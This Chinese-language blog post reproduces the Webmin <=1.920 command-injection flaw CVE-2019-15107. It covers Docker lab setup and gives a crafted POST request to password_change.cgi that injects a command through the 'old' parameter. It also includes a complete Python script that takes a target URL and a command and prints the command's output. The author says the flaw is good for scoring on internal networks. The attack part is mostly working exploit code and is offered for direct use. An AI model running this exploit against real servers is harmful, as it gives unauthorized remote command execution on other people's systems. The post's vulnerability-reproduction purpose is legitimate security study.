Webmin代码执行漏洞复现
0x00 前言
之前由于hw,没得时间分析。这个webmin相信大家很多次都在内网扫到过。也是内网拿机器得分的一环。
0x01影响版本
Webmin<=1.920
0x02 环境搭建
建议大家以后用docker部署漏洞环境
docker search webmin
docker pull piersonjarvis/webmin-samba
docker run -d -p 10000:80 piersonjarvis/webmin-samba

访问127.0.0.1:10000

使用账号密码:root/webmin登录到后台
开启密码重置功能:
Webmin--Webmin confuration—Authentication

然后点击重启webmin。
0x03 漏洞利用
构造如下POST包请求:
POST /password_change.cgi HTTP/1.1
Host: 127.0.0.1:10000
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Accept-Language: en
Cookie: redirect=1; testing=1; sid=x; sessiontest=1
Referer: http://127.0.0.1:10000/password_change.cgi/session_login.cgi
Content-Type: application/x-www-form-urlencoded
Content-Length: 55
cache-control: no-cache user=rootxx&pam=&expired=2&old=id&new1=test2&new2=test2
执行命令结果如下:

python利用脚本如下:
#coding:utf-8
import requests
import re
import sys
from requests.packages.urllib3.exceptions import InsecureRequestWarning
# 禁用安全请求警告
requests.packages.urllib3.disable_warnings(InsecureRequestWarning) def exploit(url, shell):
urls = url + "/password_change.cgi"
headers = {
'Accept-Encoding': "gzip, deflate",
'Accept': "*/*",
'Accept-Language': "en",
'User-Agent': "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)",
'Connection': "close",
'Cookie': "redirect=1; testing=1; sid=x; sessiontest=1",
'Referer': "{}/session_login.cgi".format(urls),
'Content-Type': "application/x-www-form-urlencoded",
'Content-Length': "",
'cache-control': "no-cache"
}
# proxies = {
# "http": "http://127.0.0.1:8080"
# }
# don't need |
payload="user=rootxx&pam=&expired=2&old={}&new1=test2&new2=test2".format(shell)
r = requests.post(url=urls, headers=headers, data=payload, verify=False)
#print(r.text)
if r.status_code ==200 and "The current password is " in r.text :
rs = re.compile(r"<center><h3>Failed to change password : The current password is incorrect(.*)</h3></center>",flags=re.DOTALL)
result = rs.findall(r.text)
#print(result)
print ("Execute result:" + result[0])
else:
print ("No CVE-2019-15107!") if __name__ == "__main__":
url = sys.argv[1]
shell = sys.argv[2]
exploit(url, shell)
Webmin代码执行漏洞复现的更多相关文章
- Tomcat/7.0.81 远程代码执行漏洞复现
Tomcat/7.0.81 远程代码执行漏洞复现 参考链接: http://www.freebuf.com/vuls/150203.html 漏洞描述: CVE-2017-12617 Apache T ...
- Windows CVE-2019-0708 远程桌面代码执行漏洞复现
Windows CVE-2019-0708 远程桌面代码执行漏洞复现 一.漏洞说明 2019年5月15日微软发布安全补丁修复了CVE编号为CVE-2019-0708的Windows远程桌面服务(RDP ...
- DedeCMS V5.7 SP2后台代码执行漏洞复现(CNVD-2018-01221)
dedeCMS V5.7 SP2后台代码执行漏洞复现(CNVD-2018-01221) 一.漏洞描述 织梦内容管理系统(Dedecms)是一款PHP开源网站管理系统.Dedecms V5.7 SP2 ...
- IIS_CVE-2017-7269 IIS6.0远程代码执行漏洞复现
CVE-2017-7269 IIS6.0远程代码执行漏洞复现 一.漏洞描述 IIS 6.0默认不开启WebDAV,一旦开启了WebDAV,安装了IIS6.0的服务器将可能受到该漏洞的威胁. 二.影响版 ...
- IIS6远程代码执行漏洞复现CVE-2017-7269
简述 CVE-2017-7269是IIS 6.0中存在的一个栈溢出漏洞,在IIS6.0处理PROPFIND指令的时候,由于对url的长度没有进行有效的长度控制和检查,导致执行memcpy对虚拟路径进行 ...
- Windows漏洞:MS08-067远程代码执行漏洞复现及深度防御
摘要:详细讲解MS08-067远程代码执行漏洞(CVE-2008-4250)及防御过程 本文分享自华为云社区<Windows漏洞利用之MS08-067远程代码执行漏洞复现及深度防御>,作者 ...
- Apache log4j2 远程代码执行漏洞复现👻
Apache log4j2 远程代码执行漏洞复现 最近爆出的一个Apache log4j2的远程代码执行漏洞听说危害程度极大哈,我想着也来找一下环境看看试一下.找了一会环境还真找到一个. 漏洞原理: ...
- PHP远程代码执行漏洞复现(CVE-2019-11043)
漏洞描述 CVE-2019-11043 是一个远程代码执行漏洞,使用某些特定配置的 Nginx + PHP-FPM 的服务器存在漏洞,可允许攻击者远程执行代码. 向Nginx + PHP-FPM的服务 ...
- WinRAR代码执行漏洞复现
漏洞介绍 WinRAR 是一款流行的解压缩工具,据其官网上发布的数据,全球有超过5亿的用户在使用 2019年2月20日,安全厂商 checkpoint 发布了名为<Extracting a 19 ...
随机推荐
- RabbitMQ学习之:(十二)在Node.js环境下使用RabbitMQ
学,以致用.找了半天Node.js下RabbitMQ的库,看上去都不太趁手,直到最后找到了amqp库,看上去倒还不错,照着例子,写了第一个RabbitMQ的客户端. 首先,使用 npm install ...
- k8s-高可用多主master配置
准备主机 centos7镜像 node1: 192.168.0.101 node2: 192.168.0.102 node3: 192.168.0.103 vip: 192.168.0.104 配置s ...
- 等待数据库引擎恢复句柄失败 SqlServer2012安装时报错 Win10
上周,在一批Win10系统电脑上安装SqlServer 2012时,屡次发生报错,安装失败,显示的失败信息是:等待数据库引擎恢复句柄失败 如下图所示: 面对这样的错误,我的第一反应是百度,在百度上找了 ...
- System.arraycopy() 数组复制方法
一.深度复制和浅度复制的区别 Java数组的复制操作可以分为深度复制和浅度复制,简单来说深度复制,可以将对象的值和对象的内容复制;浅复制是指对对象引用的复制. 二.System.arraycop ...
- kubeadm安装集群系列-3.添加工作节点
添加工作节点 worker通过kubeadm join加入集群,加入所需的集群的token默认24小时过期 查看Token kubeadm token list # 如果失效创建一个新的 kubead ...
- 微信扫码无法直接下载APP的apk的解决办法
PHP的处理方式:http://blog.sina.com.cn/s/blog_4cd978f90102wx92.html
- python常见队列queue分类
import queue # 1.普通q# 2.先进后出q# 3.优先级q 普通Queue q=queue.Queue(3)q.put(1)q.put(2)q.put(3)print(q.get()) ...
- sublime的Package Control的安装及使用
一.快速安装 使用Ctrl+`快捷键或者通过View->Show Console菜单打开命令行,粘贴如下代码(注意下面代码为一行): import urllib.request,os; pf = ...
- [转帖]k8s国内镜像
k8s国内镜像 https://www.jianshu.com/p/b9fecdb5e3a7 wu_sphinx 关注 2019.05.06 20:43* 字数 155 阅读 628评论 0喜欢 0 ...
- git合并时冲突<<<<<<< HEAD
<<<<<<< HEAD 本地代码 ======= 拉下来的代码 >>>>>>>